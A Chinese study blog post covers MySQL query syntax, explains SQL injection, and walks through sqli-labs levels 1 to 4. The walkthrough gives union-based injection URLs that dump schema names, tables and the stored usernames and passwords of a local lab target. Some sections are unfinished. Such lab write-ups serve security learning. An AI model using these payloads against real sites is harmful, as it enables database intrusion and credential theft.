Mysql增删改查语句,SQL注入,靶场搭建及less 1~5,cfthub基础学习


一、Mysql增删改查语句

1.增(insert)

基本语法 insert into 表名(列1,列2,列3,列4,…) values(值,值,值,值…)

例如:

insert into student(num,name,age,sex) values(14100,'张三'18'男')

插入的另外一种形式:
insert into 表名 set 列=值,列=值,列=值,…

例如:

  insert into student Set name = '张三',age=18
2.删(delete)

基本语法 delete from 表名 where 列=值

例如:
删除student中num编号为14100的数据

delete from student where num=14100

#DELETE from 表名 一行行删除整张表
#TRUNCATE table 表名 就是清空表

3.改(update)

基本语法 update 表名 set 列名=新值,列=值,… where…

例如:

 update student set name = '张三' where num=14100
4.查(select)
 1.基本的select查询语句
     查询student表中所有列  `select * from student;`
     将*换成列名表示查询表中某一列
     查询student表中所有的name和sex:`select name,sex from student;`
     
 2.条件查询where
     基本条件查询语句  select * from student where id =1(表示查询student表中id=1的学生的所有列)
     where后跟查询条件,查询的如果是字符串,要带引号
 
 3.多条件查询
     如果是并且条件用and 或者用or多条件查询
     例子:查询出班级号为20201001班的学生并且要求是男生,年龄大于20
     SELECT * from student where class_num = '20201001' and sex = '男' and age > 20
          查询出班级号为20201001班的学生或者性别为女的学生
     SELECT * from student WHERE class_num = '20201001' or sex = '女'
 4.联合查询:
     使用联合查询的前提是 union 后面的 select 语句必须和前面
     查询的列的数量、顺序、类型相同,否则数据库会报错

二、SQL注入

1.SQL注入简介

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

2.SQL注入原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,使web服务器执行恶意命令的过程。可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

3.SQL注入过程
  • 第一步
    SQL注入点探测:通过适当的分析应用程序,判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,可能存在SQL注入漏洞。一般通过页面的报错信息来确定是否存在SQL注入漏洞。

  • 第二步
    收集后台数据库信息:不同数据库的注入方法、函数都不尽相同,因此在注入之前,要判断数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

  • 第三步
    猜解用户名和密码:数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码

  • 第四步
    查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscanAWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

  • 第五步
    入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器

4.SQL注入方法

由于编写程序时未对用户输入数据的合理性进行判断,导致攻击者能在SQL Injection的注入点中夹杂代码进行执行,并通过页面返回的提示,获取进行下一步攻击所需的信息。根据输入的参数,可将SQL注入方式大致分为两类:数字型注入字符型注入

  • 数字型注入

    当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

    • 测试步骤:假设有URL:http://www.xxx.com/test.php?id=3,可以猜测SQL语句为:select * from table where id=3;
        1. 加单引号,URL:http://www.xxx.com/test.php?id=3'
          对应的SQL:select * from table where id=3' 这时SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。
        1. and 1=1 ,URL:http://www.xxx.com/test.php?id=3 and 1=1
          对应的SQL:select * from table where id=3 and 1=1 语句执行正常,返回数据与原始请求无任何差异。
        1. 加and 1=2,URL:http://www.xxx.com/test.php?id=3 and 1=2
          对应的SQL:select * from table where id=3 and 1=2 语句执行正常,但却无法查询出数据,因为and 1=2始终为假。所以返回数据与原始请求有差异。

          如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入。

  • 字符型注入
    > 当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

    • 测试步骤:当查询内容为字符串时 select * from table where username ='admin'
        1. 加单引号select * from table where username ='admin'',由于加单引号后变成三个单引号,无法执行,程序会报错。
        1. and 1=1(或者1=2,结果是一样的,可以根据这里判断是数字型还是字符型) 此时SQL语句为:select * from table where username='admin and 1=1' ,也无法进行注入,因为admin and 1=1会被数据库当作查询的字符串。这时想要进行注入,则必须注意字符串闭合问题。
        1. 'and 1=1--+and 前面的单引号闭合'admin'-- 注释后面的单引号 )就可以继续注入,SQL语句:select * from table where username ='admin' and 1=1--+'
5.SQL注入基础知识
  1. 系统函数
  • version()——Mysql版本
  • user()——数据库用户名
  • database()——数据库名
  • @@datadir——数据库路径
  • @@basedir——获取安装路径
  • @@version_compile_os——操作系统版本
  1. 字符连接函数
  • concat(str1,str2,…) —— 没有分隔符地连接字符串
    例:concat_ws('11','22','33') :112233
  • concat_ws(separator,str1,str2,…) —— 含有分隔符地连接字符串,第一个参数是其它参数的分隔符。
    例: concat_ws(':','11','22','33') :11:22:33
6.SQL注入攻击手法

三、靶场搭建及less1~5

1.SQL基本语句
-- #
-- - 
-- +
注释掉后面没有用的语句只执行想要执行的sql语句
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database()­­ -- -
­显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
select schema_name from information_schema.schemata
猜数据库
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某库的数据表
select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’
猜某表的所有列
2.靶场搭建

在这里插入图片描述

3.less 1~5
less1 GET单引号字符注入
  1. SQL注入点探测
    在这里插入图片描述
    黄色字符提示输入参数,故输入?id=1
    在这里插入图片描述
    可以看到页面显示了登录名和登录秘码,先来确定是什么类型的注入,在ivi/Less-1?id=1后面添加一个'
    在这里插入图片描述
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

您的SQL语法有错误;查看与MySQL服务器版本对应的手册,以了解第1行中接近“1”限制0,1的正确语法

报错了,说明我们添加的单引号被数据库成功解析,就可能存在注入。接下来输入?id=1 and 1=2,发现页面没有变化,可以判断不是数字型注入。
在这里插入图片描述
接着输入’and 1=2 %23 后页面发生变化,确定为字符型注入,并且闭合符号为单引号。
在这里插入图片描述
2. 查字段数(order by
从1开始依次测试,当按第4列数据进行排序时报错了,故有三个字段。

http://ivi/Less-1/?id=1' order by 4 %23

在这里插入图片描述
开始联合查询:
使前面查询结果为空,及输入不存在的id值

http://ivi/Less-1/?id=-1' union select 1,2,3%23

PS:http://ivi/Less-1/?id=1' union select 1,2,3%23
这条SQL语句在数据库中的执行情况:在这里插入图片描述
程序在展示数据的时候通常只会取结果集的第一行,所以我们需要把前面的查询结果集变为空,这样才能显示我们想要的结果,同时又需要确定哪几个字段会被显示在页面上,这里令id=-1也可以直接在后面添加and 1=2两种方式都可以。

在这里插入图片描述
2、3字段被显示出来。
3. 爆数据库

http://viv/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

在这里插入图片描述
4.查看当前数据库

http://ivi/Less-1/?id=-1' union select 1,2,database()%23

在这里插入图片描述
5. 查看其它信息

http://ivi/Less-1/?id=-1' union select 1,2,concat_ws(' : ',user(),database(),version())--+

在这里插入图片描述
6.爆当前数据库的表

http://ivi/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
可以看到有四张表,我们想要的用户信息通常在 users表中。
7.爆users列名:

这里需要注意指定 table_schema 字段,因为 users 表非常容易出现重复!

http://ivi/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'--+

在这里插入图片描述
8.爆数据:

http://ivi/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

如果只有一个显示位可以改为:?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+
在这里插入图片描述
9.也可以单独爆一个用户

http://ivi/Less-1/?id=-1'union select 1,username,password from security.users where id=3 --+

在这里插入图片描述

less 2 数字型注入

和上题思路一样,加单引号报错,加and 1=2 程序执行正常,但却无法查询出数据,那么就确定是数字型SQL注入了。

在这里插入图片描述
接下来和第一关一样

less 3 GET单引号变形注入

加单引号,页面报错
在这里插入图片描述
根据报错消息可以推断出闭合符号为(‘$id’),测试 1') --+
在这里插入图片描述

less 4 GET双引号注入

加单引号
在这里插入图片描述
加双引号
在这里插入图片描述
根据报错信息,推断出闭合符号应该是:(“$id”),测试:1") --+
在这里插入图片描述

less 5

四、CFTFHUB基础学习

CTF基础

在这里插入图片描述

http

本篇文章参考博客:

博客
https://blog.csdn.net/weixin_53818758/article/details/126047089
博客
https://blog.csdn.net/weixin_52084568/article/details/123644522
博客
https://blog.csdn.net/qq_43531669/article/details/91399603

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tclown

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值